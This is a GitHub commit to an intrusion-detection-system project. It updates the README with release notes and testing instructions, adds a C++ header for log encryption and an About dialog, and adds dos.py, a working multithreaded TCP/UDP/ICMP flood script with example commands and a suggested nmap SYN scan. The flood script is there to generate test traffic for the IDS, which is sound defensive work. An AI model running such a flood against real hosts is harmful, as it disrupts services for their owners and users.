Skip to content

Commit f93b23c

Browse files
committed
new-release
1 parent 5945c31 commit f93b23c

11 files changed

Lines changed: 1308 additions & 60 deletions

File tree

LICENSE

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
MIT License
22

3-
Copyright (c) 2024 Intrusion Detection System (IDS)
3+
Copyright (c) 2025 Intrusion Detection System (IDS)
44

55
Permission is hereby granted, free of charge, to any person obtaining a copy
66
of this software and associated documentation files (the "Software"), to deal

README.md

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,15 @@
6161

6262
> **Рекомендация:** Если вам нужно обнаруживать атаки в реальной сети, рассмотрите возможность установки IDS на пограничном устройстве (например, на маршрутизаторе) или настройте port mirroring на коммутаторе.
6363
64+
## ✨ Новые функции и улучшения в версии 3.1.2
65+
66+
### 🐛 Исправления и улучшения интерфейса
67+
- **Улучшена поддержка кириллических символов** — исправлена кодировка UTF-8 во всех формах и сообщениях
68+
- **Перевод интерфейса на русский язык** — все диалоговые окна и кнопки теперь корректно отображаются на русском
69+
- **Добавлено диалоговое окно "О программе"** — реализован информационный диалог с данными о версии и функциях
70+
- **Усовершенствована система сохранения логов** — добавлен запрос на сохранение при выходе из программы
71+
- **Улучшена работа с зашифрованными логами** — оптимизирована работа с .enc файлами и механизм проверки пароля
72+
6473
## ✨ Новые функции и улучшения в версии 3.1.1
6574

6675
### 🐛 Исправления багов
@@ -362,6 +371,65 @@ chmod +x run_docker_mac.sh
362371
- [ ] **Профили мониторинга** — создание и сохранение различных профилей для мониторинга
363372
- [ ] **Интеграция с базами данных угроз** — проверка IP-адресов по базам известных угроз
364373

374+
## 🧪 Тестирование программы
375+
376+
Для проверки работоспособности системы и обнаружения различных типов атак вы можете использовать включенные в дистрибутив скрипты и утилиты.
377+
378+
### 📊 Проверка с помощью Python-скрипта для DOS-атак
379+
380+
1. **Запустите IDS** и выберите сетевой интерфейс для мониторинга
381+
2. **Откройте командную строку** от имени администратора
382+
3. **Запустите Python-скрипт для DOS-атаки** с параметрами:
383+
384+
```bash
385+
# Для TCP атаки
386+
python dos_attack.py -t 127.0.0.1 -p 80 -m tcp -d 10 -c 100
387+
388+
# Для UDP атаки
389+
python dos_attack.py -t 127.0.0.1 -p 53 -m udp -d 10 -c 50
390+
391+
# Для ICMP (ping) атаки
392+
python dos_attack.py -t 127.0.0.1 -m icmp -d 10 -c 50
393+
```
394+
395+
Где:
396+
- `-t` (--target): целевой IP-адрес
397+
- `-p` (--port): целевой порт (не требуется для ICMP)
398+
- `-m` (--mode): режим атаки (tcp, udp, icmp)
399+
- `-d` (--duration): продолжительность в секундах
400+
- `-c` (--connections): количество одновременных соединений
401+
402+
**Результат**: IDS должна обнаружить и отобразить подозрительную активность в таблице подозрительных IP и журнале событий.
403+
404+
### 🔍 Проверка с помощью Nmap
405+
406+
1. **Запустите IDS** и выберите сетевой интерфейс для мониторинга
407+
2. **Запустите скрипт тестирования** с помощью Nmap:
408+
409+
```bash
410+
# Используя BAT файл
411+
test_scan.bat
412+
413+
# Или напрямую с помощью Nmap
414+
nmap -sS -p 1-1000 127.0.0.1
415+
```
416+
417+
**Результат**: IDS должна обнаружить серию TCP SYN пакетов, распознать их как сканирование портов и отобразить в таблице подозрительных IP.
418+
419+
### 🔄 Интерпретация результатов тестирования
420+
421+
При успешном тестировании вы должны увидеть:
422+
1. **Увеличение счетчика пакетов** в статусной строке
423+
2. **Появление новых записей** в таблице подозрительных IP
424+
3. **Предупреждающие сообщения** в журнале событий
425+
4. **Цветовую индикацию** угроз в зависимости от количества обнаруженных пакетов
426+
427+
Если какой-либо из тестов не дает ожидаемых результатов, проверьте:
428+
- Правильно ли выбран сетевой интерфейс
429+
- Запущена ли программа с правами администратора
430+
- Включен ли режим promiscuous
431+
- Не блокирует ли антивирус или брандмауэр сетевую активность
432+
365433
## 📜 Лицензия
366434

367435
Этот проект распространяется под лицензией **MIT**. Подробности смотрите в файле [LICENSE](LICENSE).

dos.py

Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
4+
"""
5+
ПРОСТОЙ СКРИПТ ДЛЯ DOS-АТАКИ (НЕ ИСПОЛЬЗОВАТЬ НА РЕАЛЬНЫХ ЦЕЛЯХ!)
6+
==================================================================
7+
8+
КАК ПОЛЬЗОВАТЬСЯ ЭТИМ СКРИПТОМ:
9+
------------------------------
10+
11+
1. Этот скрипт предназначен ТОЛЬКО для тестирования ваших собственных систем.
12+
НИКОГДА не используйте его для атаки на чужие системы - это незаконно!
13+
14+
2. Запуск в командной строке или PowerShell:
15+
----------------------------------------
16+
17+
Windows: py -3 dos.py -t IP_АДРЕС_ЦЕЛИ -p ПОРТ -a ТИП_АТАКИ -d ВРЕМЯ -c СОЕДИНЕНИЯ
18+
Linux/Mac: python3 dos.py -t IP_АДРЕС_ЦЕЛИ -p ПОРТ -a ТИП_АТАКИ -d ВРЕМЯ -c СОЕДИНЕНИЯ
19+
20+
3. ПРИМЕРЫ КОМАНД:
21+
-------------
22+
23+
# TCP-атака на порт 80 (веб-сервер) в течение 10 секунд с 2 соединениями:
24+
py -3 dos.py -t 192.168.100.16 -p 80 -a tcp -d 10 -c 2
25+
26+
# UDP-атака на порт 53 (DNS) в течение 15 секунд с 3 соединениями:
27+
py -3 dos.py -t 192.168.100.16 -p 53 -a udp -d 15 -c 3
28+
29+
# ICMP-атака (ping) в течение 20 секунд:
30+
py -3 dos.py -t 192.168.100.16 -a icmp -d 20 -c 1
31+
32+
4. ПАРАМЕТРЫ КОМАНДЫ:
33+
----------------
34+
35+
-t, --target : IP-адрес цели (обязательный параметр)
36+
-p, --port : Порт для атаки (по умолчанию 80)
37+
-a, --attack : Тип атаки: tcp, udp или icmp (по умолчанию tcp)
38+
-d, --duration : Сколько секунд будет идти атака (по умолчанию 60)
39+
-c, --connections: Сколько одновременных соединений (по умолчанию 1)
40+
41+
5. ВАЖНО:
42+
-----
43+
44+
* Для ICMP-атаки требуются права администратора/root
45+
* Если атака неудачна, проверьте:
46+
- Правильно ли указан IP-адрес
47+
- Открыт ли указанный порт на целевой машине
48+
- Не блокирует ли ваш брандмауэр исходящие соединения
49+
"""
50+
51+
import socket
52+
import threading
53+
import random
54+
import time
55+
import argparse
56+
from datetime import datetime
57+
58+
def print_status(sent, target):
59+
"""Выводит на экран информацию о количестве отправленных пакетов"""
60+
print(f"[{datetime.now().strftime('%H:%M:%S')}] Отправлено {sent} пакетов на {target}")
61+
62+
def dos_attack(target_ip, target_port, attack_type="tcp", duration=60):
63+
"""
64+
Выполняет DOS-атаку на указанный IP-адрес
65+
66+
Параметры:
67+
target_ip - IP-адрес цели
68+
target_port - порт на целевой машине
69+
attack_type - тип атаки (tcp, udp, icmp)
70+
duration - продолжительность атаки в секундах
71+
"""
72+
total_packets = 0
73+
successful_packets = 0
74+
failed_packets = 0
75+
76+
# Определим время окончания атаки
77+
end_time = time.time() + duration
78+
79+
print(f"Начало DOS-атаки на {target_ip}:{target_port} используя {attack_type.upper()}")
80+
81+
try:
82+
while time.time() < end_time:
83+
if attack_type.lower() == "tcp":
84+
# TCP атака
85+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
86+
s.settimeout(1)
87+
try:
88+
s.connect((target_ip, target_port))
89+
s.send(b"X" * random.randint(1024, 2048))
90+
total_packets += 1
91+
successful_packets += 1
92+
except socket.timeout:
93+
total_packets += 1
94+
failed_packets += 1
95+
if failed_packets % 10 == 0:
96+
print(f"Соединение с {target_ip}:{target_port} не удалось (таймаут)")
97+
except socket.error as e:
98+
total_packets += 1
99+
failed_packets += 1
100+
if failed_packets % 10 == 0:
101+
print(f"Ошибка соединения с {target_ip}:{target_port}: {e}")
102+
finally:
103+
s.close()
104+
105+
elif attack_type.lower() == "udp":
106+
# UDP атака
107+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
108+
data = b"X" * random.randint(1024, 65500)
109+
try:
110+
s.sendto(data, (target_ip, target_port))
111+
total_packets += 1
112+
successful_packets += 1
113+
except socket.error as e:
114+
total_packets += 1
115+
failed_packets += 1
116+
if failed_packets % 10 == 0:
117+
print(f"Ошибка отправки UDP пакета на {target_ip}:{target_port}: {e}")
118+
finally:
119+
s.close()
120+
121+
elif attack_type.lower() == "icmp":
122+
# ICMP flood (ping)
123+
try:
124+
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
125+
s.sendto(b"X" * 56, (target_ip, 0))
126+
total_packets += 1
127+
successful_packets += 1
128+
except PermissionError:
129+
print("ICMP атака требует прав администратора")
130+
print("Запустите скрипт от имени администратора (с правами админа):")
131+
print("В Windows: Правый клик на командной строке -> Запуск от имени администратора")
132+
print("В Linux/Mac: sudo python3 dos.py ...")
133+
return
134+
except socket.error as e:
135+
total_packets += 1
136+
failed_packets += 1
137+
if failed_packets % 10 == 0:
138+
print(f"Ошибка отправки ICMP пакета на {target_ip}: {e}")
139+
finally:
140+
s.close()
141+
142+
# Выводим статус каждые 100 пакетов или каждые 5 секунд
143+
if total_packets % 100 == 0 or (total_packets > 0 and time.time() % 5 < 0.1):
144+
print_status(total_packets, f"{target_ip}:{target_port} (успешно: {successful_packets}, неудачно: {failed_packets})")
145+
146+
# Небольшая задержка для уменьшения нагрузки на систему
147+
time.sleep(0.01)
148+
149+
except KeyboardInterrupt:
150+
print("Атака остановлена пользователем (нажатием Ctrl+C)")
151+
152+
print(f"Атака завершена. Всего отправлено {total_packets} пакетов (успешно: {successful_packets}, неудачно: {failed_packets})")
153+
154+
# Если скрипт запущен напрямую (а не импортирован)
155+
if __name__ == "__main__":
156+
# Создаем парсер аргументов командной строки
157+
parser = argparse.ArgumentParser(description="Простой скрипт DOS-атаки для тестирования систем обнаружения вторжений")
158+
159+
# Добавляем аргументы
160+
parser.add_argument("-t", "--target", required=True, help="Целевой IP-адрес")
161+
parser.add_argument("-p", "--port", type=int, default=80, help="Целевой порт (по умолчанию 80)")
162+
parser.add_argument("-a", "--attack", choices=["tcp", "udp", "icmp"], default="tcp", help="Тип атаки (tcp, udp, icmp)")
163+
parser.add_argument("-d", "--duration", type=int, default=60, help="Продолжительность атаки в секундах (по умолчанию 60)")
164+
parser.add_argument("-c", "--connections", type=int, default=1, help="Количество одновременных соединений (по умолчанию 1)")
165+
166+
# Разбираем аргументы
167+
args = parser.parse_args()
168+
169+
# Проверяем соединения и предупреждаем пользователя
170+
if args.connections > 10:
171+
print(f"ВНИМАНИЕ: Вы запускаете {args.connections} потоков. Это может привести к высокой нагрузке на вашу систему.")
172+
input("Нажмите Enter для продолжения или Ctrl+C для отмены...")
173+
174+
# Выводим информацию о запущенной атаке
175+
print(f"==================================================")
176+
print(f"Запуск DOS-атаки со следующими параметрами:")
177+
print(f"Цель: {args.target}")
178+
print(f"Порт: {args.port}")
179+
print(f"Тип атаки: {args.attack}")
180+
print(f"Продолжительность: {args.duration} секунд")
181+
print(f"Соединения: {args.connections}")
182+
print(f"==================================================")
183+
print(f"[ПРЕДУПРЕЖДЕНИЕ] Используйте только для тестирования своих систем!")
184+
print(f"==================================================")
185+
186+
# Запускаем несколько потоков для большей нагрузки
187+
threads = []
188+
for i in range(args.connections):
189+
t = threading.Thread(target=dos_attack, args=(args.target, args.port, args.attack, args.duration))
190+
threads.append(t)
191+
t.start()
192+
193+
# Ждем завершения всех потоков
194+
for t in threads:
195+
t.join()

include/MainWindow.h

Lines changed: 30 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
#include <QTimer>
66
#include <QStandardItemModel>
77
#include <QStringList>
8+
#include <QCloseEvent>
89
#include "PacketHandler.h"
910
#include "DeviceManager.h"
1011
#include "SuspiciousIPModel.h"
@@ -20,6 +21,10 @@ class MainWindow : public QMainWindow {
2021
explicit MainWindow(QWidget *parent = nullptr);
2122
~MainWindow();
2223

24+
protected:
25+
// Переопределяем метод обработки события закрытия окна
26+
void closeEvent(QCloseEvent *event) override;
27+
2328
private slots:
2429
void onStartCapture();
2530
void onStopCapture();
@@ -36,6 +41,15 @@ private slots:
3641

3742
// Метод для генерации тестового трафика
3843
void generateTestTraffic();
44+
45+
// Методы для работы с шифрованием логов
46+
void onEncryptionToggled(bool checked);
47+
void onSaveEncryptedLog();
48+
void onLoadEncryptedLog();
49+
void showPasswordDialog(bool forSaving);
50+
51+
// Метод для отображения диалога "О программе"
52+
void showAboutDialog();
3953

4054
private:
4155
Ui::MainWindow *ui;
@@ -55,11 +69,26 @@ private slots:
5569

5670
// Таймер для генерации тестового трафика
5771
QTimer *testTrafficTimer;
72+
73+
// Для шифрования логов
74+
QString lastEncryptionPassword;
75+
76+
// Флаг сохранения логов - чтобы не спрашивать дважды
77+
bool logsSaved = false;
5878

5979
void setupModernUI();
6080
void setupConnections();
81+
void setupMenus();
6182
void addSuspiciousIP(const QString& sourceIP, const QString& destinationIP,
62-
const QString& packetType, const QString& timestamp);
83+
const QString& packetType, const QString& timestamp);
84+
85+
// Новые методы для работы с логами
86+
void loadLogFile(const QString& filePath, const QString& password);
87+
void processLogLine(const QString& line);
88+
bool maybeSaveLog(); // Метод для предложения сохранить логи
89+
90+
// Метод для сохранения логов
91+
bool saveLogsToFile(const QString& fileName, bool encrypted);
6392
};
6493

6594
#endif // MAINWINDOW_H

0 commit comments

Comments
 (0)